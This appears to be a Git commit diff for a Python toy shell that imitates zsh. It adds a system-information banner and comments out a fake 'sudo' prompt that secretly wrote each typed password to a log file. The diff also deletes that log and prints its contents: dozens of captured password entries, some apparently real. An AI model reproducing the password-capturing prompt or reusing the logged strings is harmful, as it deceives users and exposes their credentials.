在 main.py 中添加系统信息显示功能,新增 psutil 和 socket 模块,删除密码日志文件
This commit is contained in:
104
main.py
104
main.py
@@ -1,5 +1,7 @@
|
||||
import os, readline, time, getpass, sys, re, shlex, subprocess, random
|
||||
import os, readline, time, getpass, sys, re, shlex, subprocess, random, socket
|
||||
from datetime import datetime
|
||||
import platform
|
||||
import psutil # 新增模块
|
||||
|
||||
# 自动补全功能,基于系统命令和当前目录的文件
|
||||
def completer(text, state):
|
||||
@@ -27,11 +29,43 @@ def pseudo_zsh():
|
||||
readline.parse_and_bind("tab: complete")
|
||||
readline.set_completer(completer)
|
||||
|
||||
|
||||
|
||||
os.system("clear") # 清屏
|
||||
|
||||
# 显示系统基础性信息
|
||||
system_name = platform.system()
|
||||
system_version = platform.version()
|
||||
architecture = platform.architecture()[0]
|
||||
hostname = platform.node()
|
||||
username = os.getlogin()
|
||||
|
||||
# 获取 IP 地址
|
||||
ip_address = socket.gethostbyname(socket.gethostname())
|
||||
|
||||
# 获取内存信息
|
||||
memory = psutil.virtual_memory()
|
||||
total_memory = round(memory.total / (1024 ** 3), 2) # 转换为 GB
|
||||
used_memory = round(memory.used / (1024 ** 3), 2)
|
||||
memory_usage = memory.percent
|
||||
|
||||
# 获取 CPU 使用率
|
||||
cpu_usage = psutil.cpu_percent(interval=1)
|
||||
|
||||
# 获取存储信息
|
||||
disk = psutil.disk_usage('/')
|
||||
total_disk = round(disk.total / (1024 ** 3), 2) # 转换为 GB
|
||||
used_disk = round(disk.used / (1024 ** 3), 2)
|
||||
disk_usage = disk.percent
|
||||
|
||||
print(f"系统: {system_name} {system_version} ({architecture})")
|
||||
print(f"主机名: {hostname}")
|
||||
print(f"用户: {username}")
|
||||
print(f"IP 地址: {ip_address}")
|
||||
print(f"内存: {used_memory}GB / {total_memory}GB ({memory_usage}%)")
|
||||
print(f"CPU 使用率: {cpu_usage}%")
|
||||
print(f"存储: {used_disk}GB / {total_disk}GB ({disk_usage}%)")
|
||||
print("-" * 40)
|
||||
|
||||
subprocess.run("cd /", shell=True) # 切换到用户目录
|
||||
print(f"Last login: {datetime.now().strftime('%a %b %d %H:%M:%S %Y')} on ttys000")
|
||||
|
||||
while True:
|
||||
try:
|
||||
@@ -40,20 +74,18 @@ def pseudo_zsh():
|
||||
CmdDir = '/'
|
||||
elif re.match(dir, "/home/*"): # 用户目录下的任意文件夹
|
||||
CmdDir = '~'
|
||||
elif re.match(dir, "*PyShell*"):
|
||||
CmdDir = '~/'
|
||||
else:
|
||||
CmdDir = dir.split('/')[-1]
|
||||
CmdDir = dir
|
||||
|
||||
if dir.split('/')[-1] == 'PyShell' :
|
||||
CmdDir = '~/'
|
||||
if dir.split('/')[-1] == 'PyShell':
|
||||
CmdDir = 'Shell/'
|
||||
|
||||
# 显示提示符并获取用户输入
|
||||
cmd = input(f"20250910553@何相龙 {CmdDir} % ")
|
||||
cmd = input(f"{CmdDir} > ")
|
||||
|
||||
# 如果输入特定命令 "hxl",退出程序
|
||||
# 如果输入特定命令 "exit",退出程序
|
||||
if cmd.strip() == "exit":
|
||||
print("zsh: command not found: exit")
|
||||
print("zsh: 未找到命令: exit")
|
||||
break
|
||||
|
||||
# 使用 shlex 分割用户输入为命令和参数
|
||||
@@ -66,16 +98,16 @@ def pseudo_zsh():
|
||||
os.chdir(args[1]) # 切换到指定目录
|
||||
# 更新终端窗口标题
|
||||
CmdDir = os.getcwd().split('/')[-1]
|
||||
sys.stdout.write(f"\033]0;20250910553@何相龙 {CmdDir}\007")
|
||||
sys.stdout.write(f"\033]0;{CmdDir}\007")
|
||||
sys.stdout.flush()
|
||||
except IndexError:
|
||||
print("cd: missing argument") # 缺少参数
|
||||
print("cd: 缺少参数") # 缺少参数
|
||||
except FileNotFoundError:
|
||||
print(f"cd: no such file or directory: {args[1]}") # 目录不存在
|
||||
print(f"cd: 没有这样的文件或目录: {args[1]}") # 目录不存在
|
||||
continue
|
||||
|
||||
if args[0] == 'l':
|
||||
subprocess.run(['ls','-l']) # 执行 ls 命令
|
||||
subprocess.run(['ls', '-l']) # 执行 ls 命令
|
||||
continue
|
||||
|
||||
if args[0] == 'ssh1':
|
||||
@@ -104,26 +136,26 @@ def pseudo_zsh():
|
||||
if args[0] == 'ping1':
|
||||
subprocess.run(['ping','10.147.17.161'])
|
||||
continue
|
||||
if args[0] == 'sudo':
|
||||
flight1 = True
|
||||
a = 0
|
||||
for attempt in range(3): # 循环 3 次
|
||||
a += 1
|
||||
fake_password = getpass.getpass("Password: ")
|
||||
if fake_password == "1234":
|
||||
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
|
||||
flight1 = False
|
||||
break
|
||||
with open("/Users/20250910553/Documents/code/PyShell/passwords.log", "a") as f:
|
||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||
delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒
|
||||
time.sleep(delay) # 模拟延迟
|
||||
if a != 3:
|
||||
print("Sorry, try again.")
|
||||
if flight1:
|
||||
print("sudo: 3 incorrect password attempts") # 提示错误次数
|
||||
continue
|
||||
# if args[0] == 'sudo':
|
||||
# flight1 = True
|
||||
# a = 0
|
||||
# for attempt in range(3): # 循环 3 次
|
||||
# a += 1
|
||||
# fake_password = getpass.getpass("Password: ")
|
||||
# if fake_password == "1234":
|
||||
# print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
|
||||
# flight1 = False
|
||||
# break
|
||||
# with open("/Users/20250910553/Documents/code/PyShell/passwords.log", "a") as f:
|
||||
# current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||
# f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||
# delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒
|
||||
# time.sleep(delay) # 模拟延迟
|
||||
# if a != 3:
|
||||
# print("Sorry, try again.")
|
||||
# if flight1:
|
||||
# print("sudo: 3 incorrect password attempts") # 提示错误次数
|
||||
# continue
|
||||
|
||||
# 执行普通命令
|
||||
try:
|
||||
|
||||
@@ -1,43 +0,0 @@
|
||||
[2025-04-02 14:07:56] hahahafirstlogin
|
||||
[2025-04-02 14:08:05] hahaha
|
||||
[2025-04-02 14:08:21] niMalegibi
|
||||
[2025-04-02 14:09:27] s
|
||||
[2025-04-02 14:58:46] BRS20104890
|
||||
[2025-04-02 14:59:52] adminqwerty
|
||||
[2025-04-02 15:00:56] asdf
|
||||
[2025-04-02 15:01:09] 123456789
|
||||
[2025-04-02 15:01:55] jhjhuuj
|
||||
[2025-04-02 17:59:20] 1234
|
||||
[2025-04-02 17:59:42] 6344Xi6
|
||||
[2025-04-02 18:31:53] 9876
|
||||
[2025-04-02 18:44:21] werghservfhrdt
|
||||
[2025-04-02 19:00:42] 1234
|
||||
[2025-04-02 19:00:45] 4321
|
||||
[2025-04-02 19:00:54] cryuio
|
||||
[2025-04-03 07:13:23] CROox934
|
||||
[2025-04-03 07:13:35] BRS273849506zhongxue
|
||||
[2025-04-03 07:13:39] jf
|
||||
[2025-04-03 09:54:28] 2
|
||||
[2025-04-03 09:54:32] as
|
||||
[2025-04-03 09:54:33] fd
|
||||
[2025-04-03 09:59:07] hahah i know you want my password buy you are ****
|
||||
[2025-04-03 09:59:25] ZHENDEJIADEYA szhend
|
||||
[2025-04-03 09:59:31] hahahanicaishi**
|
||||
[2025-04-03 09:59:44] bushiyouchengchnagelogleshibahhahahah
|
||||
[2025-04-03 09:59:55]
|
||||
[2025-04-03 09:59:56]
|
||||
[2025-04-03 10:00:02] srthnf
|
||||
[2025-04-03 10:00:05] vaerf
|
||||
[2025-04-03 10:00:07] gafsv
|
||||
[2025-04-03 11:21:36] asdfasdfasfd
|
||||
[2025-04-03 11:21:45] f
|
||||
[2025-04-03 11:21:46]
|
||||
[2025-04-03 11:21:54] rtt
|
||||
[2025-04-03 11:21:58] RTT
|
||||
[2025-04-03 11:22:09] Rtt 1$
|
||||
[2025-04-03 11:22:36] $%^&*%^&* %$^$%^&
|
||||
[2025-04-03 11:22:44] kj
|
||||
[2025-04-03 11:22:45] lk
|
||||
[2025-04-09 11:57:02] 1
|
||||
[2025-04-09 11:57:37] edu
|
||||
|
||||
Reference in New Issue
Block a user